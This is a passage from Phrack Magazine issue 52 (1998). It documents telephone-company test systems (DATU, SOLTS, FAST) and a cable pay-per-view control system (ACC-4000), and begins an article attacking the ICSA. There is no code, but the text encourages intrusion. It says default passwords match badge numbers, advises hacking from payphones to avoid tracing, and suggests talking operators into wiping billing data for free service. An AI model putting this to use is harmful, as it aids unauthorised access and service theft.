one-second tone, two one-second tones, or three one-second tones. This
|
||
indicates either a single party channel, multi party channel or a coin
|
||
channel. The absence of a tone indicates trouble with the channel or
|
||
channel equipment.
|
||
|
||
|
||
Features
|
||
~~~~~~~~
|
||
|
||
AUDIO MONITOR - The subscriber line may be monitored for up to 10
|
||
minutes, after which time the DATU disconnects from the No-Test trunk.
|
||
Audio Monitor may be used on either busy or idle lines. Traffic on a
|
||
busy line will be audible but unintelligible. The Audio Monitor Mode may
|
||
be exited before the end of the 10 minute period by selecting an
|
||
appropriate test function.
|
||
|
||
OPEN LINE - Opens subscriber line by removing battery and ground.
|
||
|
||
SHORT LINE - A metallic short is placed across the tip and ring of the
|
||
subscriber line.
|
||
|
||
SHORT TO GROUND - A metallic connection between tip, ring, and ground.
|
||
This feature is not available on a busy line.
|
||
|
||
TIP TO GROUND - A metallic connection between tip and ground with the
|
||
ring open.
|
||
|
||
RING TO GROUND - A metallic connection between ring and ground with the
|
||
tip open.
|
||
|
||
HIGH LEVEL TEST TONE - A high level 577Hz metallic-tracing tone,
|
||
interrupted four times per second, for identity purposes. The High Level
|
||
Test Tone is not available on a busy line.
|
||
|
||
HIGH LEVEL TONE ON TIP - Test tone is placed only on the tip side of the
|
||
line, with the ring side grounded.
|
||
|
||
HIGH LEVEL TONE ON RING - Test tone is placed only on the ring side of
|
||
the line, with the tip side grounded.
|
||
|
||
LOW LEVEL TEST TONE - A low level 577Hz simplex-tracing tone,
|
||
interrupted four times per second, for identity purposes. The Low Level
|
||
Test Tone may be applied even if the line under test is busy, and it
|
||
will not disturb traffic on that line. Note that on some No.5 ESS
|
||
switches, Simplex tone may not transmit.
|
||
|
||
SINGLE LINE ACCESS - Allows conditioning functions on the same line used
|
||
to access the DATU system.
|
||
|
||
HOLD - Used to continue a line preparation function after disconnecting
|
||
from the system's access line.
|
||
|
||
FORCED DISCONNECT - Allows the technician to disconnect from the system
|
||
at any time by dialing ##.
|
||
|
||
ADMINISTRATIVE - Password protection for both user and administrator
|
||
modes of access. System usage counters and timers are accessible through
|
||
interactive voice response.
|
||
|
||
|
||
DATU Usage
|
||
~~~~~~~~~~
|
||
Dial DATU Number.
|
||
Dial User Security Code.
|
||
Dial 7 Digit Subscriber Number.
|
||
|
||
/ \
|
||
/ \
|
||
/ \
|
||
/ \
|
||
/ \
|
||
/ \
|
||
| |
|
||
|
||
Normal Subscriber Line SLC Subscriber Line
|
||
~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~
|
||
OK 8 second warble
|
||
| -then-
|
||
| 60 IPM busy: Pair Gain Test Controller Alarm
|
||
| -or-
|
||
| 120 IPM Busy: Busy test pair
|
||
| -or-
|
||
| 1 second tone: One party line
|
||
| -or-
|
||
| 2 second tone: Two party line
|
||
| -or-
|
||
| 3 second tone: Pay phone
|
||
| -or-
|
||
| No tone: Bad carrier channel
|
||
|
|
||
| |
|
||
\ /
|
||
\ /
|
||
\ /
|
||
\ /
|
||
\ /
|
||
\ /
|
||
|
||
Enter DATU function code for condition:
|
||
|
||
1 Menu
|
||
2 Audio Monitor
|
||
3 Short Tip and Ring to Ground
|
||
4 High Level Coiling Tone
|
||
5 Low Level Simplex Tone
|
||
7 Short Tip to Ring
|
||
* Continue test after disconnect (1 = 1 minute, 0=10 minutes)
|
||
# Enter new seven digit subscriber number
|
||
|
||
|
||
Harris DATU Part Numbers
|
||
~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
DATU-LC Loop Conditioning System P/N 24820-001
|
||
PGA IIS P/N 24810-002
|
||
DATU-RT Loop Conditioning System P/N 24820-003
|
||
TSA P/N 24800-103
|
||
DATU-RT (GTD-5 Version) P/N 24820-005
|
||
TDC P/N 24800-102
|
||
Metallic Access Unit P/N 24840-002
|
||
MFT Card File P/N 25460-002
|
||
Metallic Access Unit (RSU version) P/N 24845-005
|
||
|
||
|
||
|
||
|
||
|
||
+----------------------------------+
|
||
+ PART III +
|
||
+ +
|
||
+ -- +
|
||
+ +
|
||
+ Small Office Loop Testing System +
|
||
+ +
|
||
+ (SOLTS) +
|
||
+----------------------------------+
|
||
|
||
|
||
Small Office Loop Testing System (SOLTS) is a system used by telephone
|
||
company field repair personnel to test a phone line from any touch-tone
|
||
telephone.
|
||
|
||
When dialing a SOLTS number, the first prompt is:
|
||
|
||
~Please enter ID, terminate with #~
|
||
|
||
SOLTS allows 30 seconds to enter a correct ID, then prompts:
|
||
|
||
~Please enter line number and press #~
|
||
|
||
SOLTS allows 60 seconds to enter a line number, then prompts:
|
||
|
||
~Select mode, for help enter 0~
|
||
|
||
SOLTS allows 60 seconds to choose one of six options:
|
||
|
||
|
||
Enter:
|
||
|
||
1) Interactive Testing
|
||
2) Calling on test line
|
||
3) Retrieve results
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Option one allows testing the telephone line connected to the number
|
||
entered in step two above. Option two tests the line the technician is
|
||
calling from. Option three is used to retrieve the results generated
|
||
using options one and two. Option eight disconnects from the system.
|
||
Option nine allows a new line number to be entered for testing. Option
|
||
zero accesses on-line help.
|
||
|
||
|
||
Mode 1 -- Interactive Testing
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
#) Line test
|
||
1) Fault Location
|
||
2) Special tests
|
||
3) Completion Test
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Line Test
|
||
~~~~~~~~~
|
||
Perform a line test on the number entered, then:
|
||
|
||
7) Repeat Results
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Fault Location
|
||
~~~~~~~~~~~~~~
|
||
Performs initial line test on the number entered, then:
|
||
|
||
2) Next step
|
||
7) Repeat results
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Special Tests
|
||
~~~~~~~~~~~~~
|
||
Performs initial line test on the number entered, then:
|
||
|
||
#) Repeat line test
|
||
2) Loop and Ground
|
||
3) Pull dial tone
|
||
5) Pair ID Tone
|
||
7) Repeat results
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Completion Test
|
||
~~~~~~~~~~~~~~~
|
||
|
||
Performs a line test on the number entered, records the results,
|
||
then requests:
|
||
|
||
7) Repeat results
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Mode 2 -- Calling On Test Line
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
#) Line Test
|
||
3) Completion Test
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Line Test
|
||
~~~~~~~~~
|
||
|
||
Performs a line test on the number entered, if line is busy
|
||
requests Craft to hang up, performs a line test and stores the
|
||
results.
|
||
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
Completion Test
|
||
~~~~~~~~~~~~~~~
|
||
|
||
Performs a line test on the number entered, if line is busy
|
||
requests Craft to hang up, performs a line test, and records the
|
||
results.
|
||
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
Mode 3 -- Retrieve Results
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
States the stored results for the line number entered, then:
|
||
|
||
7) Repeat results
|
||
8) Hang up
|
||
9) Enter line number
|
||
0) Help
|
||
|
||
|
||
|
||
|
||
|
||
+---------------------------+
|
||
+ PART IV +
|
||
+ +
|
||
+ -- +
|
||
+ +
|
||
+ Field Access Service Tool +
|
||
+ +
|
||
+ (F.A.S.T.) +
|
||
+---------------------------+
|
||
|
||
When calling FAST, the first prompt is a request for a security code.
|
||
The security code is usually the employee badge number. After the
|
||
security code is entered and the # key is pressed, FAST will prompt for
|
||
the password. The password is usually 4-7 digits long and usually
|
||
expires every 30 days. The default password is usually the security
|
||
code. After the password is entered and the # key is pressed the FAST
|
||
New Notices and Features are played.
|
||
|
||
After all of that, the FAST Main Menu is made available:
|
||
|
||
FAST Main Menu
|
||
|
||
1. Facilities Inquiry
|
||
2. MLT Test
|
||
3. Cut to new facilities
|
||
4. Change Status of a cable and pair
|
||
5. Test Caller-ID
|
||
6. Close a Service Order
|
||
7. Cable transfer (for splicers)
|
||
8. Administrative
|
||
9. News and documentation
|
||
0. Connect call to Help Line
|
||
|
||
1: LFACS Inquiry
|
||
1. by phone number
|
||
2. by cable pair
|
||
|
||
1: Enter telephone number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
1. Current assignment
|
||
2. Spare pairs
|
||
3. Multiple appearances
|
||
|
||
1. F1 (feeder)
|
||
2. F2 (distribution)
|
||
3. F3 (if any)
|
||
4. All facilities in loop
|
||
|
||
2: Enter wire center NXX
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
Enter cable number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
Enter pair count
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
1. Current status
|
||
2. Spare pairs
|
||
3. Multiple appearances
|
||
4. Defective pair list
|
||
5. Another cable-pair
|
||
6. Another pair, same cable
|
||
|
||
|
||
2: MLT test
|
||
1. Quick
|
||
2. Loop
|
||
3. Full
|
||
4. Add tone
|
||
5. Remove tone
|
||
|
||
Tone: Enter telephone number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
Add tone - enter number of minutes of tone #
|
||
|
||
1. Another request
|
||
2. End call
|
||
3. Wait for tone
|
||
|
||
|
||
3: Cut to new facilities
|
||
1. Service Order
|
||
2. Trouble Ticket
|
||
|
||
1: Service Order
|
||
1. C-Order
|
||
2. N-Order
|
||
3. T-Order
|
||
4. Other
|
||
|
||
Enter 6 digit numeric portion of order number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
+-----------------------------------+
|
||
| Go to "Hear F1 assignment" below. |
|
||
+-----------------------------------+
|
||
|
||
2: Trouble Ticket
|
||
Enter telephone number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
Hear F1 assignment
|
||
1. Cut
|
||
2. Keep
|
||
|
||
Hear F2 assignment
|
||
1. Cut
|
||
2. Keep
|
||
|
||
Hear F3 assignment
|
||
1. Cut
|
||
2. Keep
|
||
|
||
+------------------------------------------+
|
||
| Go to "Specify code for bad pair" below. |
|
||
+------------------------------------------+
|
||
|
||
|
||
4: Change status of a cable/pair to defective or non-defective
|
||
|
||
Specify code for bad pair
|
||
1. GTP
|
||
2. OPN
|
||
3. OTP
|
||
4. UBL
|
||
5. SHT
|
||
6. GRG
|
||
7. CBY
|
||
8. Other
|
||
|
||
Other
|
||
1. Non-defective
|
||
2. Defective, unknown
|
||
3. Exposed
|
||
4. Split pair
|
||
5. Previous list
|
||
|
||
Specify pair to use
|
||
|
||
Enter new cable number or only # if no change
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
Enter new pair number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
FAST pages the technician to indicate the success
|
||
of the cut.
|
||
|
||
Note: If F1 is being cut both LFACS and COSMOS need
|
||
updates. Two pager messages will be sent.
|
||
|
||
If CF pair is used as spare, information will be
|
||
given to break connection.
|
||
|
||
|
||
5: Test Caller-ID
|
||
Enter 7 digit telephone number to be called.
|
||
1. Correct
|
||
2. Re-enter
|
||
3. Correct and calling from the number
|
||
|
||
|
||
6: Close Service Order
|
||
1. C-Order
|
||
2. N-Order
|
||
3. T-Order
|
||
4. Other
|
||
|
||
Enter 6 digit numeric portion of order number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
1. Closed today
|
||
2. Closed yesterday
|
||
3. Other
|
||
|
||
|
||
7: Cable transfer
|
||
Enter TN from cut sheet
|
||
1. Correct EWO.xfer
|
||
2. Re-enter TN
|
||
|
||
Enter first item number
|
||
Enter last item number
|
||
1. Correct
|
||
2. Re-enter
|
||
|
||
To transfer this item:
|
||
1. Move to new equipment
|
||
2. Skip this item
|
||
|
||
|
||
8: Administrative
|
||
1. Change Password
|
||
2. Change 3 digit EC
|
||
3. Change 3 digit NPA
|
||
|
||
|
||
9: FAST News
|
||
|
||
|
||
0: FAST Help Line
|
||
|
||
|
||
Notes: When entering a variable number of digits, # is required to end entry.
|
||
When entering a fixed number of digits, # is not required.
|
||
Pressing 9 will always return to the main menu.
|
||
|
||
To enter alpha characters press * to enter alpha mode and then
|
||
use the following key sequences. Use * again to exit alpha mode.
|
||
|
||
For example: Voy866 would be *836393*866.
|
||
|
||
A 21
|
||
B 21
|
||
C 23
|
||
D 31
|
||
E 32
|
||
F 33
|
||
G 41
|
||
H 42
|
||
I 43
|
||
J 51
|
||
K 52
|
||
L 53
|
||
M 61
|
||
N 62
|
||
O 63
|
||
P 71
|
||
Q 01
|
||
R 73
|
||
S 73
|
||
T 81
|
||
U 82
|
||
V 83
|
||
W 91
|
||
X 92
|
||
Y 93
|
||
Z 03
|
||
- 11
|
||
. 12
|
||
+ 13
|
||
|
||
|
||
|
||
|
||
|
||
+------------+
|
||
+ Part V +
|
||
+ +
|
||
+ -- +
|
||
+ +
|
||
+ Conclusion +
|
||
+------------+
|
||
|
||
|
||
Voice Response Systems can be a great deal of fun, and they can be
|
||
safely accessed from a public telephone. Don't play with these from
|
||
home. VRSs are a great way to hack without using a computer.
|
||
|
||
For information on the Teradyne 4Tel VRS System, read the LOD/H
|
||
Technical Journal, Issue #3: File 05 of 11: An Overview of the Teradyne
|
||
4Tel System by Doom Prophet LOD/H.
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 13 of 20
|
||
|
||
|
||
-------------------------[ Pay Per View (you don't have to)
|
||
|
||
|
||
--------[ Cavalier[TNO]
|
||
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
I......................................................... Introduction
|
||
II........................................................ Automatic Windows
|
||
III....................................................... The Login Window
|
||
IV........................................................ The Main Menu
|
||
V......................................................... Other Menus
|
||
VI........................................................ Converter Types
|
||
VII....................................................... Scrambler Types
|
||
VIII...................................................... Scrambling Modes
|
||
IX........................................................ Security Notes
|
||
X......................................................... Conclusion
|
||
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
.--------------.
|
||
| Introduction |
|
||
`--------------'
|
||
|
||
General Instruments sells more cable television equipment than any other
|
||
manufacturer. Included in their product range is the ACC-4000. The
|
||
ACC-4000 is a system that controls Pay-Per-View television.
|
||
|
||
The ACC-4000 is a PC running SCO Open Desktop v3.0. Earlier ACC-4000s
|
||
ran Interactive Unix. The interface for the ACC-4000 is X-Windows based,
|
||
so you can hack your way to free pron through an attractive GUI.
|
||
|
||
The ACC-4000 is often referred to as an addressable system. This means
|
||
that each set-top-box can be addressed independently. This allows every
|
||
subscriber to select their own programming -- and it allows the cable
|
||
television company to bill the subscriber for every television show the
|
||
subscriber selects.
|
||
|
||
The cable television signal is normally sent by satellite to a cable
|
||
headend. To translate this into terms that may be more comfortable to
|
||
Phrack readers, the cable head end is similar to a telephone company
|
||
central office. At the headend, the signal is scrambled to make it more
|
||
difficult to view without paying.
|
||
|
||
The ACC-4000 then routes the signal from the headend to the appropriate
|
||
set-top-boxes. It does this by merging control information into the data
|
||
stream before the data stream reaches the set-top-boxes. The ACC-4000
|
||
can talk to one-way, FONE-way, and two-way set-top-boxes. The ACC-4000
|
||
works over standard RF cable, fiber optics, microwave, and even
|
||
telephone wiring.
|
||
|
||
The ACC-4000 is capable of sending billing information to a cable
|
||
television billing system, such as CableData, CSG, or Wizard.
|
||
|
||
The ACC-4000 is a small system. The unit I examined was using a 486DX-50
|
||
processor. Nevertheless, one ACC-4000 can manage a half a million set
|
||
top boxes.
|
||
|
||
Often you will find other General Instruments systems connected to the
|
||
ACC-4000. A Data Provider Translator system can take input from outside
|
||
sources and merge them into the data stream going to the set-top-boxes.
|
||
This provides features like program guides, VCR IR codes, weather data,
|
||
Near-Video-On-Demand (NVOD) schedules, or even custom logos and menus. A
|
||
Message Editor system can be used to create custom "barker" messages for
|
||
cable subscribers.
|
||
|
||
|
||
.------------------.
|
||
| Automatic Windows|
|
||
`------------------'
|
||
|
||
In addition to the login window, the ACC-4000 opens two other types of
|
||
windows automatically to display information on the console. Using
|
||
Xwatchwin to view these windows remotely can help you figure out what is
|
||
going on with the system. The Windows are:
|
||
|
||
. Logger Window
|
||
. Wire Link X
|
||
|
||
The window titled "Logger Window" contains status and error messages.
|
||
|
||
The windows titled "Wire Link X" show data going from the ACC-4000 out
|
||
to other systems, usually the billing system. There is one "Wire Link X"
|
||
window for each system the ACC-4000 is feeding data.
|
||
|
||
|
||
.------------------.
|
||
| The Login Window |
|
||
`------------------'
|
||
|
||
The login window is extremely informative and looks something like this:
|
||
|
||
.---------------------------------------------------------------------------.
|
||
| ACC4000 Help |
|
||
| ~ ~ |
|
||
|---------------------------------------------------------------------------|
|
||
|LOGIN | Login to ACC4000 | | |
|
||
|---------------------------------------------------------------------------|
|
||
| General Instruments Addressable Control System |
|
||
|User Name: ############################# Password: ######## |
|
||
| COPYRIGHT (C) 1996. General Instrument Corporation |
|
||
|---------------------------------------------------------------------------|
|
||
|Site Number: 866 Geocode: 303 Terminal: tno:0.0 Software Version: V8.66 |
|
||
| |
|
||
| Number ANICS Installed: 1 Number of Subscriptions: 16 |
|
||
| Parallel Data Streams: 1 1st Subscription Service Code: 1 |
|
||
| List Maintenance: HOST Number of Simultaneous Events: 48 |
|
||
| Number List Maps: 8 1st Event Service Code: 89 |
|
||
| Return Frequency: 08.9 Mhz Data Stream Baud Rate: 13.97 Khz |
|
||
| |
|
||
| Data Base Size: 288K Subscribers Converter ID Usage: 32K Groups |
|
||
| |
|
||
| 1st group 1-way 2nd group phone 3rd group phone 4th group 2-way |
|
||
| 5th group 2-way 6th group 2-way 7th group 2-way 8th group 2-way |
|
||
| 9th group 2-way |
|
||
| |
|
||
|---------------------------------------------------------------------------|
|
||
|Enter operator name |
|
||
| |
|
||
| F6:Clear Field F7:Field Help F8:Form Help |
|
||
`---------------------------------------------------------------------------'
|
||
|
||
|
||
Site Number is assigned by General Instruments. This number is
|
||
also stored in the set-top-box.
|
||
|
||
Geocode is a optional number that may be assigned by the cable
|
||
television company to segment it's set-top-boxes into groups.
|
||
|
||
Terminal is the name of the X-windows terminal you are
|
||
connecting from.
|
||
|
||
Software Version is the release number of the ACC-4000 software.
|
||
|
||
Number ANICS Installed is the number of transmission devices
|
||
installed.
|
||
|
||
Parallel Data Streams is the number of simultaneous
|
||
transmissions into the data stream.
|
||
|
||
List Maintenance is always set to HOST. In the future, General
|
||
Instruments plans to allow the an ANIC to maintain the list of
|
||
authorizations.
|
||
|
||
Number List Maps is the size of the queue between the ACC-4000
|
||
and the ANIC.
|
||
|
||
Number of Subscriptions is the number of service codes allotted
|
||
for subscriptions.
|
||
|
||
1st Subscription Service Code is the first available scrambler
|
||
tag for descrambling subscriptions.
|
||
|
||
Number of Simultaneous Events is the maximum number of
|
||
simultaneous Pay-Per-View (PPV) events that can be available at
|
||
one time.
|
||
|
||
1st Event Service Code is the first available scrambling tag for
|
||
Pay-Per-View PPV events.
|
||
|
||
Return Frequency is the transmit frequency used by two-way set
|
||
top boxes. The range is normally 8.3 - 10.4Mhz.
|
||
|
||
Data Stream Baud Rate is the rate of transmission of the data
|
||
stream.
|
||
|
||
Data Base Size is the maximum number of set-top-boxes the system
|
||
is configured for.
|
||
|
||
Converter ID Usage is always set to 32k. This means that 32k
|
||
set-top-boxes can be grouped into a partition.
|
||
|
||
Groups shows the division of the total number of set-top-boxes
|
||
(data base size) into partitions.
|
||
|
||
|
||
.---------------.
|
||
| The Main Menu |
|
||
`---------------'
|
||
|
||
The Main Menu is the gateway to all other menus and looks something like
|
||
this:
|
||
|
||
.---------------------------------------------------------------------------.
|
||
|MAINMENU | Main Menu of Screen Options | |records found |
|
||
| |
|
||
|.-------------------------------------------------------------------------.|
|
||
|| ||
|
||
|| Main Menu of Screen Options ||
|
||
|| ||
|
||
|| 1. Converters Convs 7. User Information Users ||
|
||
|| 2. Services/Schedules Svcs 8. Control System Functions System ||
|
||
|| 3. Headend Equipment Headend 9. Reports Reports||
|
||
|| 4. Converter Types ConvTyp 10. Data Path Configuration DataCfg||
|
||
|| 5. Data Files Files 11. Message Management MsgMgt ||
|
||
|| 6. Business System Gateway Gateway 12. Return to Login Exit ||
|
||
|| ||
|
||
|| ||
|
||
|| Enter Selection: ||
|
||
|| ||
|
||
|`-------------------------------------------------------------------------'|
|
||
| |
|
||
|---------------------------------------------------------------------------|
|
||
|Enter selection number or press function button |
|
||
| |
|
||
| F6:Clear Field F7:Field Help F8:Form Help |
|
||
`---------------------------------------------------------------------------'
|
||
|
||
|
||
.-------------.
|
||
| Other Menus |
|
||
`-------------'
|
||
|
||
The ACC-4000 has many other menus that are accessed through the Main Menu.
|
||
I will not waste time and space here describing these menus. If you gain
|
||
access to an ACC-4000, the online help should be sufficient to aid you
|
||
in using the system.
|
||
|
||
These menus allow you to perform functions such as:
|
||
|
||
. Managing set-top-boxes
|
||
. Managing headend scramblers
|
||
. Sending messages to subscribers
|
||
. Performing opinion polls on subscribers
|
||
. Configuring available Pay-Per-View (PPV) events
|
||
. Managing purchase data
|
||
. Maintaining the ACC-4000 database
|
||
. Creating reports
|
||
|
||
|
||
.-----------------.
|
||
| Converter Types |
|
||
`-----------------'
|
||
|
||
The ACC-4000 system supports a large number of set-top-boxes:
|
||
|
||
|
||
Type Model Name Partition Type
|
||
------------------------------------------------------------------------------
|
||
1 DRZ STARCOM II, 400, 500 One-Way
|
||
(PROM based)
|
||
2 DRZA-*A, DRZP-*A STARCOM 450 One-Way
|
||
(PROM based, 128 tags) STARCOM 450/P3
|
||
3 DRZI*-*A STARCOM 450/P3 One-Way
|
||
(PROM based, 256 tags)
|
||
4 DRZI*-AT STARCOM 450 Two-Way
|
||
5 XT5-*1* STARCOM V One-Way
|
||
6 XT5-*2* STARCOM V Two-Way
|
||
7 DRZI*-*AV STARCOM 450 One-Way
|
||
8 DP*5-*3* STARCOM VI+ Fone-Way
|
||
9 DL4/DL4A STARCOM V One-Way
|
||
10 DP*5-*1* STARCOM VI+ One-Way
|
||
11 DP*5-*2* STARCOM VI+ Two-Way
|
||
12 DPBB-*1* STARCOM VI+ One-Way
|
||
13 DPBB-*3* STARCOM VI+ FONE-Way
|
||
14 DPBB-*2* STARCOM VI+ Two-Way
|
||
15 DP711*, DPV721*, DPV721*/C1 STARCOM 7100/7200 One-Way
|
||
16 DP713*, DPV723*, DPV723*/C1 STARCOM 7100/7200 FONE-Way
|
||
17 DP712*, DPV722*, DPV722*/C1 STARCOM 7100/7200 Two-Way
|
||
18 DPBB7-*1* STARCOM 7300 One-Way
|
||
19 DPBB7-*3* STARCOM 7300 FONE-Way
|
||
20 DPBB7-*2* STARCOM 7300 Two-Way
|
||
21 DPBB-*1*-M1 STARCOM VI+ M/S One-Way
|
||
22 DPBB-*3*-M1 STARCOM VI+ M/S FONE-Way
|
||
23 DPBB-*2*-M1 STARCOM VI+ M/S Two-Way
|
||
24 IDP7, LMDS-A, MMDS-A/CT1900 IDP7, LMDS-A, MMDS-A/CT1900 One-Way
|
||
25 IDP7, LMDS-A, MMDS-A/CT1900 IDP7, LMDS-A, MMDS-A/CT1900 FONE-Way
|
||
26 IDP7, LMDS-A, MMDS-A/CT1900 IDP7, LMDS-A, MMDS-A/CT1900 Two-Way
|
||
27 DCR DCR One-Way
|
||
28 DCR 3000S/4000S DCR One-Way
|
||
30 CFT2000/2100 CFT2000/2100 One-Way
|
||
31 CFT2000/2100 CFT2000/2100 FONE-Way
|
||
32 CFT2000/2100 CFT2000/2100 Two-Way
|
||
33 STARPORT STARPORT One-Way
|
||
34 STARPORT (not implemented) STARPORT FONE-Way
|
||
35 STARPORT (not implemented) STARPORT Two-Way
|
||
36 CFT2200 CFT2200 One-Way
|
||
37 CFT2200 CFT2200 STARFONE FONE-Way
|
||
38 CFT2200 CFT2200 STARVUE Two-Way
|
||
39 CFT2900 CFT2900 One-Way
|
||
40 CFT2900 CFT2900 FONE-Way
|
||
41 CFT2900 CFT2900 Two-Way
|
||
42 Sega Sega One-Way
|
||
|
||
|
||
.-----------------.
|
||
| Scrambler Types |
|
||
`-----------------'
|
||
|
||
The ACC-4000 system supports several different types of scramblers at the
|
||
headend, including:
|
||
|
||
STARPACK Service Encoder (SSE)
|
||
|
||
An older scrambler that scrambles with standby and 6db constant
|
||
sync-suppression scrambling modes.
|
||
|
||
Digital Scrambler/Encoder (DS/E)
|
||
|
||
An older RF scrambler.
|
||
|
||
Digital Video/Encoder (DV/E)
|
||
|
||
An older baseband scrambler, used to further scramble DS/E
|
||
signals.
|
||
|
||
Video Processor/Encoder (VP/E)
|
||
|
||
A DS/E and a DV/E together.
|
||
|
||
Modulating Video Processor (MVP) and MVPII
|
||
|
||
A newer scrambler.
|
||
|
||
Modulating Video Processor (MVP) II-DIU
|
||
|
||
A MVPII with a Data Inserter Module (DIM) to enable data insertion.
|
||
|
||
|
||
.------------------.
|
||
| Scrambling Modes |
|
||
`------------------'
|
||
|
||
The ACC-4000 controls scramblers using several modes of scrambling, including:
|
||
|
||
. Sync Suppression
|
||
. Video Inversion
|
||
. Audio Inversion
|
||
|
||
Supported sync suppression submodes are:
|
||
|
||
. Standby
|
||
. Clear, 0db constant
|
||
. 6db constant
|
||
. 10db constant
|
||
. Scene change, 3 seconds
|
||
. 6/10 pseudo-random, 30 seconds
|
||
. 6/10 pseudo-random, 1 minute
|
||
. 6/10 pseudo-random, 16 tics
|
||
. 6/10 pseudo-random, 3 seconds
|
||
|
||
When using scene change or 6/10 pseudo-random sync suppression, the
|
||
ACC-4000 supports a number of dynamic mode types:
|
||
|
||
. Pseudo-random 6/10/clear
|
||
. Pseudo-random 6/clear
|
||
. Pseudo-random 10/clear
|
||
. Pseudo-random 6/10
|
||
. Linear 6/10/clear
|
||
. Linear 6/clear
|
||
. Linear 10/clear
|
||
. Linear 6/10
|
||
|
||
In addition, you can set the interval between dynamic mode time changes
|
||
in hours, minutes, seconds, or tics.
|
||
|
||
Supported video inversion submodes are:
|
||
|
||
. Clear
|
||
. Scene change field inversion
|
||
. Constant video inversion
|
||
. Timed field inversion
|
||
|
||
Note: Video and audio inversion only work with baseband set-top-boxes.
|
||
|
||
|
||
.---------------.
|
||
| Security Notes|
|
||
`---------------'
|
||
|
||
These systems normally have modems for use by both General Instruments
|
||
personnel and cable company personnel. General Instruments personnel
|
||
dial in to diagnose problems with the system. Cable company personnel
|
||
dial in to change Pay-Per-View (PPV) programming or to configure
|
||
customer set-top-boxes.
|
||
|
||
Any uncollected purchases are lost when a set-top-box is initialized.
|
||
To preserve uncollected purchases, the operator will do a Refresh
|
||
instead of an Initialize. If you can talk the operator into doing an
|
||
Initialization instead of a Refresh, any uncollected purchases not
|
||
already forwarded to the billing system will be lost.
|
||
|
||
Purchases are stored as integers. Older set-top-boxes were limited to
|
||
storing 16 purchases. Newer set-top-boxes are limited to storing 63
|
||
purchases.
|
||
|
||
|
||
.------------.
|
||
| Conclusion |
|
||
`------------'
|
||
|
||
If you can access a system such as the ACC-4000, you can have great fun.
|
||
Be careful when giving everyone in your city free access to WWF.
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 14 of 20
|
||
|
||
|
||
-------------------------[ The International Crime Syndicate Association
|
||
|
||
|
||
--------[ Dorathea Demming
|
||
|
||
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
= =
|
||
= ICSA =
|
||
= =
|
||
= International Computer Security Association =
|
||
= =
|
||
= or =
|
||
= =
|
||
= International Crime Syndicate Association? =
|
||
= =
|
||
= =
|
||
= by =
|
||
= =
|
||
= Dorathea Demming =
|
||
= =
|
||
= =
|
||
= =
|
||
= (c) Dorathea Demming, October, 1997 =
|
||
= =
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
This is an article about computer criminals. I'm not talking about the fun
|
||
loving kids of the Farmers of Doom [FOD], the cool pranksters of the Legion of
|
||
Doom [LOD], or even the black-tie techno terrorists of The New Order [TNO].
|
||
I'm talking about professional computer criminals. I'm talking about the
|
||
types of folks that go to work every day and make a living by ripping off
|
||
guileless corporations. I'm talking about the International Computer Security
|
||
Association [ICSA]. The ICSA has made more money off of computer fraud than
|
||
the other three organizations mentioned above combined.
|
||
|
||
ICSA was previously known as National Computer Security Association [NCSA].
|
||
It seems that they finally discovered that there are networks and gullible
|
||
corporations in countries other than the United States.
|
||
|
||
In this article I will inform you of the cluelessness and greed of ICSA.
|
||
Instead of telling you, I will let them tell you in their own words.
|
||
|
||
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||
|
||
|
||
Lets look at what the NSCA has to say about it's history:
|
||
|
||
"the company was founded in 1989 to provide independent and
|
||
objective services to a rapidly growing and often confusing
|
||
digital security marketplace through a market-driven, for-profit
|
||
consortium model."
|
||
|
||
This is where the ICSA differs from real industry organizations like the IEEE.
|
||
Non-profit organizations like the IEEE can provide independent and objective
|
||
services, for-profit organizations like ICSA cannot be trusted to do so.
|
||
The goal of the NSCA is profit, nothing more and nothing less.
|
||
|
||
